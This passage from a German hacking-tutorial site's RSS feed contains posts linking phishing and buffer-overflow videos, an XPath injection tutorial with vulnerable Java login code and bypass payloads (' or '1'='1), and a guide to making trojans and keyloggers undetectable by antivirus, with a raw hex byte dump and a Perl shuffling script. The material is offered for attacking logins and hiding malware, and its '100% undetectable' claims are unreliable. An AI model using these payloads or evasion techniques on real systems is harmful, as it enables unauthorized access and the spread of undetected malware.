		<comments>http://tut0r1al.back2hack.cc/phishing/advanced-phishing/#comments</comments>
		<pubDate>Fri, 25 May 2012 23:16:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Phishing]]></category>
		<category><![CDATA[Advanced Phishing]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=325</guid>
		<description><![CDATA[Autor: der_Dude Quelle: back2hack.cc Hoster: uploaded.to Thema: Advanced Phishing Länge: 04:58 min. Dateityp: .avi Dl. größe: 9,04 MB Gepackt mit: WinRAR Passwort: tut0r1al.5x.to Zufällige BeiträgeSQL lücken ausnutzenVirus writting in Perl Teil 2.Virus writting in Perl Teil 1.SQL BefehleSecond Order Code Injection]]></description>
			<content:encoded><![CDATA[<p><strong>Autor:</strong> der_Dude</p>
<p><strong>Quelle:</strong> back2hack.cc</p>
<p><strong>Hoster:</strong> uploaded.to</p>
<p><strong>Thema:</strong> Advanced Phishing</p>
<p><strong>Länge:</strong> 04:58 min.</p>
<p><strong>Dateityp:</strong> .avi</p>
<p><strong>Dl. größe:</strong> 9,04 MB</p>
<p><strong>Gepackt mit:</strong> WinRAR</p>
<p><strong>Passwort:</strong> tut0r1al.5x.to</p>
<p><a href="http://anonym.to/?http://ul.to/xyucb2xe"target="_blank" title="Advanced Phishing"  target="_blank" ><img class="alignnone" title="dl" src="http://img46.imageshack.us/img46/6978/downloadiconl.jpg" alt="" width="100" height="98" /></a></p>
<div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Zufällige Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/remote-file-inclusion/lfi-rfi-tutorial/" title="LFI &#038; RFI Tutorial">LFI &#038; RFI Tutorial</a></li><li><a href="http://tut0r1al.back2hack.cc/blind-sql-injection-2/blind-sql-injection/" title="Blind SQL Injection">Blind SQL Injection</a></li><li><a href="http://tut0r1al.back2hack.cc/sql-injection/sql-injection-mit-load_file-und-into-dumpfile/" title="SQL Injection mit load_file und into dumpfile">SQL Injection mit load_file und into dumpfile</a></li><li><a href="http://tut0r1al.back2hack.cc/blog_news/ddos/" title="DDoS">DDoS</a></li><li><a href="http://tut0r1al.back2hack.cc/hashfunktionen/hash-algorithmen/" title="Hash-Algorithmen">Hash-Algorithmen</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/phishing/advanced-phishing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/phishing/advanced-phishing/</feedburner:origLink></item>
		<item>
		<title>XPATH Injection – Login Bypass</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/gaV5mcE-n0s/</link>
		<comments>http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/#comments</comments>
		<pubDate>Fri, 25 May 2012 10:31:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[XPath Injection]]></category>
		<category><![CDATA[Login Bypass]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=111</guid>
		<description><![CDATA[XPATH Injection &#8211; Login Bypass Nun möchte euch eine Art der XPATH Injection vorstellen. Ich kenne nicht alle Arten , doch diese ist mir bekannt Ich weiß nicht ob ihr euch schonmal über XPATH (xml) informiert habt Vorab ; xml dateien sind zumeist vom Administrator höchst wertvolle Dokumente , die zB den Login richten können. [...]]]></description>
			<content:encoded><![CDATA[<h2>XPATH Injection &#8211; Login Bypass</h2>
<p>Nun möchte euch eine Art der XPATH Injection vorstellen.</p>
<p>Ich kenne nicht alle Arten , doch diese ist mir bekannt</p>
<p>Ich weiß nicht ob ihr euch schonmal über XPATH (xml) informiert habt</p>
<p>Vorab ;</p>
<p>xml dateien sind zumeist vom Administrator höchst wertvolle Dokumente , die zB den Login<br />
richten können.</p>
<p>Ich zeige euch den Teil eines xml Login Dokumentes und werde euch den Vorgang<br />
mit XPATH Injection erklären , sodass ihr denn Login über einen Bypass schafft</p>
<div style="margin: 5px 20px 20px;">
<div style="margin-bottom: 2px;">Code:</div>
<pre style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; text-align: left; width: 470px; height: 242px;" dir="ltr">&lt;?xml version="1.0" encoding="ISO-8859-1"?&gt;
&lt;users&gt;
  &lt;user&gt;
    &lt;id&gt; 1 &lt;/id&gt;
    &lt;username&gt; admin &lt;/username&gt;
    &lt;password&gt; test123 &lt;/password&gt;
  &lt;/user&gt;
  &lt;user&gt;
    &lt;id&gt; 2 &lt;/id&gt;
    &lt;username&gt; user &lt;/username&gt;
    &lt;password&gt; pass &lt;/password&gt;
  &lt;/user&gt;
&lt;/users&gt;</pre>
</div>
<p>Der Coder hat den Path also den so genannten XPATH genau in seinem Script (der unten steht) angegeben.</p>
<div style="margin: 5px 20px 20px;">
<div style="margin-bottom: 2px;">Code:</div>
<pre style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; text-align: left; width: 470px; height: 146px;" dir="ltr">String username = req.getParameter("username");
String password = req.getParameter("password");
XPathFactory factory = XPathFactory.newInstance();
XPath xpath = factory.newXPath();
File file = new File("/usr/webappdata/users.xml");
InputSource src = new InputSource(new FileInputStream(file));
XPathExpression expr = xpath.compile("//users[username/text()=' " +
    username + " ' and password/text()=' "+ password +" ']/id/text()");</pre>
</div>
<p>Der Code ließt das xml Dokument und sucht nach den Daten die für den Login aufeinander stimmen.</p>
<p>Wir nehmen als login daten username=admin password=test123</p>
<p>Die Txt Zeilen Antwort wird also so lauten</p>
<div style="margin: 5px 20px 20px;">
<div style="margin-bottom: 2px;">Code:</div>
<pre style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; text-align: left; width: 470px; height: 34px;" dir="ltr"> //users[username/text()='admin' and password/text()='test123']/id/ text()</pre>
</div>
<p>Und hier werden wir die XPATH Injection mit Bypass beginnen</p>
<p>Da wir die Werte so anpassen konnten ohne das die Abfrage im ersten Login Dokument abgegeben werden ,<br />
können wir diese mit &#8216; or &#8217;1=&#8217;1 oder etwas anderem (bypass) wie realusername&#8217; OR 1=1&#8242;&#8211; / admin&#8217;-</p>
<p>beeinflussen und uns erfolgreich einloggen.</p>
<p>So können wir uns auch ohne das richtige Passwort einen Weg zum Administration Panel überbrücken.</p>
<p>###</p>
<p>visit www.acceptthefuture.wordpress.com<br />
visit 1nj3ct-Crew &#8211; und3rcore</p>
<p>###</p>
<p>&#8216;;alert(trisn)</p>
<p><strong>Autor:</strong> trisn</p>
<p><strong>Quelle: </strong>creative-coding.us</p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="login bypass">login bypass</a> (14)</li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="loginbypass">loginbypass</a> (3)</li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="login bypass tutorial">login bypass tutorial</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="bypass login">bypass login</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="ldap injection login bypass">ldap injection login bypass</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="login bypass 1=1">login bypass 1=1</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="login bypass mysql tutorial">login bypass mysql tutorial</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="password test123">password test123</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/" title="sql login bypass tutorial">sql login bypass tutorial</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Verwandte Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/xss/vulnerability-summary/" title="Vulnerability Summary">Vulnerability Summary</a></li><li><a href="http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-%e2%80%93-es-geht-auch-ohne-datenbank/" title="XPath Injection – Es geht auch ohne Datenbank">XPath Injection – Es geht auch ohne Datenbank</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/xpath-injection/xpath-injection-login-bypass/</feedburner:origLink></item>
		<item>
		<title>BufferOverflow Workshop</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/KJE1MHiz8tw/</link>
		<comments>http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/#comments</comments>
		<pubDate>Thu, 24 May 2012 21:39:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Bufferoverflows]]></category>
		<category><![CDATA[BufferOverflow]]></category>
		<category><![CDATA[Local Security]]></category>
		<category><![CDATA[Shells]]></category>
		<category><![CDATA[Workshop]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=409</guid>
		<description><![CDATA[Autor: Cheese Quelle:Back2Hack.cc Hoster: uploaded.to Thema: Ein Sehr gelungener Workshop zum Thema BufferOverflow Länge: 01:13:23 min. Dateityp: .wmv Dl. größe: 124,04 MB Gepackt mit: WinRAR Passwort: tut0r1al.5x.to Suchanfragen zu diesem Artikel:azrael sqlcmd (6)chaos computer club buffer overflow video (2)back2hack cheese buffer overflow (1)buffer overflow back2hack (1)buffer overflow by cheese (1) Zufällige BeiträgeBlog System in PerlBlind [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Autor: </strong>Cheese</p>
<p><strong>Quelle:</strong>Back2Hack.cc</p>
<p><strong>Hoster:</strong> uploaded.to</p>
<p><strong>Thema: </strong>Ein Sehr gelungener Workshop zum Thema <a href="http://tut0r1al.back2hack.cc/video_tutorials/bufferoverflows/"title="Bufferoverflow" >BufferOverflow</a></p>
<p><strong>Länge: </strong>01:13:23 min.</p>
<p><strong>Dateityp: </strong>.wmv</p>
<p><strong>Dl. größe:</strong> 124,04 MB</p>
<p><strong>Gepackt mit:</strong> WinRAR</p>
<p><strong>Passwort:</strong> tut0r1al.5x.to</p>
<p><a href="http://anonym.to/?http://ul.to/fj12wm2q"target="_blank" title="Bufferoverflow Workshop"  target="_blank" ><img class="alignnone" title="Download" src="http://img46.imageshack.us/img46/6978/downloadiconl.jpg" alt="" width="101" height="100" /></a></p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/" title="azrael sqlcmd">azrael sqlcmd</a> (6)</li><li><a href="http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/" title="chaos computer club buffer overflow video">chaos computer club buffer overflow video</a> (2)</li><li><a href="http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/" title="back2hack cheese buffer overflow">back2hack cheese buffer overflow</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/" title="buffer overflow back2hack">buffer overflow back2hack</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/" title="buffer overflow by cheese">buffer overflow by cheese</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Zufällige Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/hashfunktionen/hash-algorithmen/" title="Hash-Algorithmen">Hash-Algorithmen</a></li><li><a href="http://tut0r1al.back2hack.cc/blog_news/ddos/" title="DDoS">DDoS</a></li><li><a href="http://tut0r1al.back2hack.cc/backdoor/backdoor-cmsboard-via-acp/" title="Backdoor CMS/Board via ACP">Backdoor CMS/Board via ACP</a></li><li><a href="http://tut0r1al.back2hack.cc/hashfunktionen/hash-arten/" title="Hash Arten">Hash Arten</a></li><li><a href="http://tut0r1al.back2hack.cc/backdoor/shell-codes/" title="Shell Codes">Shell Codes</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/bufferoverflows/bufferoverflow-workshop/</feedburner:origLink></item>
		<item>
		<title>100% Full undetected</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/hCxlnXQdSTE/</link>
		<comments>http://tut0r1al.back2hack.cc/crypten/full-undetected/#comments</comments>
		<pubDate>Thu, 24 May 2012 08:47:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Crypten]]></category>
		<category><![CDATA[FUD]]></category>
		<category><![CDATA[Full undetected]]></category>
		<category><![CDATA[PE HEADER]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=33</guid>
		<description><![CDATA[Zu allererst solltet ihr euch ein wenig den Aufbau einer PE Datei anschauen: [ PE HEADER ^ 00004550h ] [ OPTIONALER HEADER / DATENABLAGE ] [ SECTIONS / FLAGS ] &#8211; Code Section &#8211; Initialisierte Daten &#8211; Uninitialisierte Daten &#8211; Shared Block &#8211; Executable &#8211; Readable &#8211; Writable Ein PE Datei besteht aus einem DOS-MZ-Header [...]]]></description>
			<content:encoded><![CDATA[<p>Zu allererst solltet ihr euch ein wenig den Aufbau einer PE Datei anschauen:</p>
<blockquote><p>[ PE HEADER ^ 00004550h ]</p>
<p>[ OPTIONALER HEADER / DATENABLAGE ]</p>
<p>[ SECTIONS / FLAGS ]</p>
<p>&#8211; Code Section<br />
&#8211; Initialisierte Daten<br />
&#8211; Uninitialisierte Daten<br />
&#8211; Shared Block<br />
&#8211; Executable<br />
&#8211; Readable<br />
&#8211; Writable</p></blockquote>
<p>Ein PE Datei besteht aus einem DOS-MZ-Header + DOS Stub und einem PE Header. Darauf folgt die Section Table, die beliebig</p>
<p>viele Sections enthalten kann. Jede Section darf gewisse Flags besitzen, die ihr gewisse Dinge zuweisen.</p>
<p>Die Interessanten Flags sind die Flags SHARED, EXECUTABLE, READABLE und WRITABLE.</p>
<p>Shared Flag: Sorgt dafür, dass die Sektion mit diesem Flag nur ein mal in den Speicher geladen wird. Ist das Flag nicht</p>
<p>gesetzt, wird sie jedes mal aufs neue in den Speicher geladen.</p>
<p>Readable: Erlaubt Lesezugriff.</p>
<p>Writable: Erlaubt Schreibzugriff (kann zu Kollisionen mit Writable kommen).<br />
Ein PE-Header sieht kodiert standartmäßig immer so aus:</p>
<blockquote><p>4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00<br />
B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00<br />
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00<br />
00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 00<br />
0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68<br />
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F<br />
74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20<br />
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00</p></blockquote>
<p>Wenn ihr nun euren Trojaner/Keylogger/Blubb undetectable haben wollt, nehmt eure PE-Datei und vertauscht die Sektionen sowie</p>
<p>die Parts.</p>
<p>Beispiel:</p>
<blockquote><p>\x44\x00\xE8\x3F\x24\x01\x00\x83\xC4\x04\x81<br />
\x06\xFC\xEF\xFF\xFF\xC3\x50\x8B\xCE\xE8\xB7<br />
\xF2\xFF\xFF\x81\x06\xFC\xEF\xFF\xFF\xC3\x8B<br />
\x57\x18\x83\xEC\x10\x83\xFA\x10\x53\x55\x56<br />
\x8D\x77\x04\x72\x04\x8B\x06\xEB\x02\x8B\xC6<br />
\x8B\x4F\x14\x8D\x2C\x01\x85\xED\x74\x20\x83<br />
\xFA\x10\x72\x04\x8B\x06\xEB\x02\x8B\xC6\x3B<br />
\xC5\x77\x11\x83\xFA\x10\x72\x04\x8B\x06\xEB<br />
\x02\x8B\xC6\x03\xC8\x3B\xE9\x76\x05\xE8\xBE<br />
\x22\x01\x00\x8B\x4F\x18\x83\xF9\x10\x72\x04<br />
\x8B\x1E\xEB\x02\x8B\xDE\x85\xDB\x74\x1F\x83<br />
\xF9\x10\x72\x04\x8B\x06\xEB\x02\x8B\xC6\x3B<br />
\xC3\x77\x10\x83\xF9\x10\x72\x02\x8B\x36\x8B<br />
\x47\x14\x03\xC6\x3B\xD8\x76\x05\xE8\x88\x22<br />
\x01\x00\x55\x57\x53\x57\x8D\x4C\x24\x20\x51<br />
\x57\xE8\x15\x00\x00\x00\x5E\x5D\x5B\x83\xC4<br />
\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC<br />
\xCC\xCC\xCC\xCC\xCC\x53\x55\x56\x8B\x74\x24<br />
\x10\x8B\x4E\x18\x83\xF9\x10\x57\x8D\x5E\x04<br />
\x72\x04\x8B\x3B\xEB\x02\x8B\xFB\x85\xFF\x74<br />
\x23\x83\xF9\x10\x72\x04\x8B\x03\xEB\x02\x8B<br />
\xC3\x3B\xC7\x77\x14\x83\xF9\x10\x72\x04\x8B<br />
\x03\xEB\x02\x8B\xC3\x8B\x4E\x14\x03\xC8\x3B<br />
\xF9\x76\x05\xE8\x1F\x22\x01\x00\x83\x7C\x24<br />
\x20\x00\x8B\x6C\x24\x1C\x75\x04\x33\xF6\xEB<br />
\x18\x83\xFD\xFE\x74\x0D\x85\xED\x74\x04\x3B<br />
\xEE\x74\x05\xE8\xFE\x21\x01\x00\x8B\x74\x24<br />
\x20\x2B\xF7\x8B\x7C\x24\x28\x85\xFF\x75\x04<br />
\x33\xC0\xEB\x1C\x8B\x44\x24\x24\x83\xF8\xFE<br />
\x74\x0D\x85\xC0\x74\x04\x3B\xC5\x74\x05\xE8<br />
\xD6\x21\x01\x00\x2B\x7C\x24\x20\x8B\xC7\x8B<br />
\x6C\x24\x14\x50\x56\x8B\xCD\xE8\x1F\x6C\xFF<br />
\xFF\x8B\x4D\x18\x83\xF9\x10\x72\x04\x8B\x03<br />
\xEB\x02\x8B\xC3\x03\xF0\x8B\x7C\x24\x18\xC7<br />
\x07\x00\x00\x00\x00\x74\x23\x83\xF9\x10\x72<br />
\x04\x8B\x03\xEB\x02\x8B\xC3\x3B\xC6\x77\x14<br />
\x83\xF9\x10\x72\x04\x8B\x03\xEB\x02\x8B\xC3<br />
\x8B\x55\x14\x03\xD0\x3B\xF2\x76\x05\xE8\x7F<br />
\x21\x01\x00\x89\x2F\x89\x77\x04\x8B\xC7\x5F<br />
\x5E\x5D\x5B\xC2\x18\x00\xCC\xCC\xCC\xCC\xCC<br />
\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x6A\xFF\x68<br />
\x86\xB5\x43\x00\x64\xA1\x00\x00\x00\x00\x50<br />
\x53\x56\x57\xA1\xC0\xCC\x44\x00\x33\xC4\x50<br />
\x8D\x44\x24\x10\x64\xA3\x00\x00\x00\x00\x8B<br />
\x7C\x24\x20\x33\xDB\x8D\x77\x1C\x53\xC7\x46<br />
\x18\x07\x00\x00\x00\x89\x5E\x14\x68\x04\x3C<br />
\x44\x00\x66\x89\x5E\x04\xE8\x0B\x6C\xFF\xFF<br />
\x89\x5C\x24\x18\x8D\x77\x38\x53\xC7\x46\x18<br />
\x07\x00\x00\x00\x89\x5E\x14\x68\x04\x3C\x44<br />
\x00\x66\x89\x5E\x04\xE8\xEB\x6B\xFF\xFF\xB8<br />
\x01\x00\x00\x00\x88\x44\x24\x18\x8B\x4C\x24<br />
\x24\x89\x0F\x89\x47\x18\xC7\x44\x24\x18\xFF<br />
\xFF\xFF\xFF\x8B\xC7\x8B\x4C\x24\x10\x64\x89<br />
\x0D\x00\x00\x00\x00\x59\x5F\x5E\x5B\x83\xC4<br />
\x0C\xC2\x08\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC<br />
\xCC\xCC\xCC\x55\x8B\xEC\x83\xE4\xF8\x6A\xFF<br />
\x68\x08\xC0\x43\x00\x64\xA1\x00\x00\x00\x00<br />
\x50\x83\xEC\x28\xA1\xC0\xCC\x44\x00\x33\xC4<br />
\x89\x44\x24\x20\x53\x56\x57\xA1\xC0\xCC\x44<br />
\x00\x33\xC4\x50\x8D\x44\x24\x38\x64\xA3\x00<br />
\x00\x00\x00\x8B\x45\x08\x89\x44\x24\x10\x33<br />
\xDB\x8B\xC1\xC7\x44\x24\x2C\x0F\x00\x00\x00<br />
\x89\x5C\x24\x28\x88\x5C\x24\x18\x8D\x70\x01<br />
\x8A\x10\x83\xC0\x01\x84\xD2\x75\xF7\x2B\xC6<br />
\x50\x51\x8D\x4C\x24\x1C\xE8\xE5\x69\xFF\xFF<br />
\x89\x5C\x24\x40\x8B\x4C\x24\x2C\x83\xF9\x10<br />
\x8B\x54\x24\x18\x8B\xC2\x73\x04\x8D\x44\x24<br />
\x18\x8B\x74\x24\x28\x8D\x3C\x30\x3B\xFB\x74<br />
\x20\x83\xF9\x10\x8B\xC2\x73\x04\x8D\x44\x24<br />
\x18\x3B\xC7\x77\x11\x83\xF9\x10\x8B\xC2\x73<br />
\x04\x8D\x44\x24\x18\x03\xC6\x3B\xF8\x76\x0D<br />
\xE8\x12\x20\x01\x00\x8B\x4C\x24\x2C\x8B\x54<br />
\x24\x18\x83\xF9\x10\x8D\x5C\x24\x14\x0F\x82<br />
\x99\x00\x00\x00\x85\xD2\x8B\xF2\x74\x24\x83<br />
\xF9\x10\x8B\xC2\x73\x04\x8D\x44\x24\x18\x3B<br />
\xC6\x77\x15\x83\xF9\x10\x8B\xC2\x73\x04\x8D<br />
\x44\x24\x18\x8B\x4C\x24\x28\x03\xC1\x3B\xF0<br />
\x76\x05\xE8\xCE\x1F\x01\x00\x8B\x54\x24\x10<br />
\x57\x53\x56\x8D\x44\x24\x20\x50\x8B\x44\x24<br />
\x20\x52\x83\xC0\x1C\xE8\x71\x7E\xFF\xFF\xC7<br />
\x44\x24\x40\xFF\xFF\xFF\xFF\x83\x7C\x24\x2C<br />
\x10\x72\x0D\x8B\x44\x24\x18\x50\xE8\x5A\x22<br />
\x00\x00\x83\xC4\x04\xC7\x44\x24\x2C\x0F\x00<br />
\x00\x00\xC7\x44\x24\x28\x00\x00\x00\x00\xC6<br />
\x44\x24\x18\x00\x8B\x4C\x24\x38\x64\x89\x0D<br />
\x00\x00\x00\x00\x59\x5F\x5E\x5B\x8B\x4C\x24<br />
\x20\x33\xCC\xE8\x68\x1A\x01\x00\x8B\xE5\x5D<br />
\xC2\x04\x00\x8D\x74\x24\x18\xE9\x64\xFF\xFF<br />
\xFF\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x6A\xFF\x68</p></blockquote>
<p>Ihr splittet das ganze und setzt es ihm Nachhinein wieder aneinander. Das würde euren Trojaner Scantime 100%ig undetectable</p>
<p>machen, wenn er auch Runtime undetectable sein soll, müsst ihr die Speichersegmente einzeln in den Puffer laden.</p>
<p>Das wäre Methode eins, die 100%ig funktioniert und bei einer Stack Randomization dazu führt, dass euer</p>
<p>Trojaner/Keylogger/Blubb zumindest bis zur Heuristik Erkennung dauerhaft undetectable bleibt.</p>
<p>Die zweite Methode ist noch simpler, aber ein wenig uneffektiver. Ihr schreibt einfach euren eigenen &#8220;Packer&#8221;, dazu empfehle</p>
<p>ich den Lempel Ziv Welch (LZW) Algorithmus, ihr könnt aber gerne verschiedene Algorithmen durchprobieren. Diese sind mit</p>
<p>Sicherheit noch &#8220;FUD&#8221;. Dazu schreibt ihr ein kleines Tool, welches den Datensatz verschlüsselt und im Code wieder</p>
<p>entschlüsselt (Loader). FSG z.B. fußt auf dasselbe Prinzip.</p>
<p>Also dann, viel Spaß beim hax0rn<br />
Tool zum anagramieren von Code:</p>
<blockquote><p>#!/usr/bin/perl -w<br />
# Crap Anagramator<br />
# <a href="http://anonym.to/?http://www.katharsis.x2.to"target="_blank"  class="extlink">www.katharsis.x2.to</a></p>
<p>use strict;<br />
use List::Util qw(shuffle);</p>
<p>my $in = shift; # Input file</p>
<p>if (!$in) {<br />
print &#8220;\nUsage: code-angrm.pl &lt;file&gt;\n&#8221;;<br />
exit;<br />
}</p>
<p>open(F, &#8220;&lt;$in&#8221;) or die $!;<br />
my $file = join(&#8221;, &lt;F&gt;);<br />
close(F);</p>
<p>my @anagr = split(/\n/,$file);</p>
<p>@anagr = shuffle(@anagr);<br />
for (@anagr) {<br />
print $_.&#8221;\n&#8221;;<br />
}</p></blockquote>
<p><strong>Autor:</strong> katharsis</p>
<p><strong>Quelle:</strong> Back2Hack.cc</p>
<h4>Suchanfragen zu diesem Artikel:</h4><ul><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="undetected trojaner">undetected trojaner</a> (12)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="undetected packer">undetected packer</a> (6)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="full undetected tutorial">full undetected tutorial</a> (5)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="shell undetected machen">shell undetected machen</a> (3)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="undetected exe packer">undetected exe packer</a> (3)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="trojaner undetectable">trojaner undetectable</a> (3)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="trojaner undetected">trojaner undetected</a> (3)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="trojan fully undetectable">trojan fully undetectable</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="trojaner undetected machen">trojaner undetected machen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="truecrypt undetected">truecrypt undetected</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="tun 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00">tun 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="undetected packer download">undetected packer download</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="shared executable readable and writable">shared executable readable and writable</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="php shell undetected machen">php shell undetected machen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="bot undetected machen">bot undetected machen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="dateien undetectable">dateien undetectable</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="fud shell">fud shell</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="full undedected">full undedected</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="full undetected">full undetected</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="full undetected shell">full undetected shell</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="Fuly undetected maczhen">Fuly undetected maczhen</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="how to fud shell">how to fud shell</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="manual exe undetected">manual exe undetected</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="packer stub undetecten">packer stub undetecten</a> (1)</li><li><a href="http://tut0r1al.back2hack.cc/crypten/full-undetected/" title="8222;index of / 8220; passwd txt">8222;index of / 8220; passwd txt</a> (1)</li></ul><div class="tweetthis" style="text-align:left;"><p> </p></div><h2  class="related_post_title">Zufällige Beiträge</h2><ul class="related_post"><li><a href="http://tut0r1al.back2hack.cc/remote-file-inclusion/lfi-rfi-tutorial/" title="LFI &#038; RFI Tutorial">LFI &#038; RFI Tutorial</a></li><li><a href="http://tut0r1al.back2hack.cc/blog_news/video-stream-test-2/" title="Video Stream Test">Video Stream Test</a></li><li><a href="http://tut0r1al.back2hack.cc/hashfunktionen/hash-arten/" title="Hash Arten">Hash Arten</a></li><li><a href="http://tut0r1al.back2hack.cc/backdoor/shell-codes/" title="Shell Codes">Shell Codes</a></li><li><a href="http://tut0r1al.back2hack.cc/sql-injection/sql-luecken-ausnutzen/" title="SQL lücken ausnutzen">SQL lücken ausnutzen</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://tut0r1al.back2hack.cc/crypten/full-undetected/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://tut0r1al.back2hack.cc/crypten/full-undetected/</feedburner:origLink></item>
		<item>
		<title>Hacking SSH – Angriffe gegen die Secure Shell</title>
		<link>http://feedproxy.google.com/~r/Tut0r1alv20/~3/Y1Xnr1M8fKc/</link>
		<comments>http://tut0r1al.back2hack.cc/hijacking/hacking-ssh-angriffe-gegen-die-secure-shell/#comments</comments>
		<pubDate>Wed, 23 May 2012 20:27:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hijacking]]></category>
		<category><![CDATA[Sicherheitslücken]]></category>
		<category><![CDATA[Hacken]]></category>
		<category><![CDATA[Linux Betriebssystem]]></category>
		<category><![CDATA[Shell]]></category>

		<guid isPermaLink="false">http://tut0r1al.back2hack.cc/?p=400</guid>
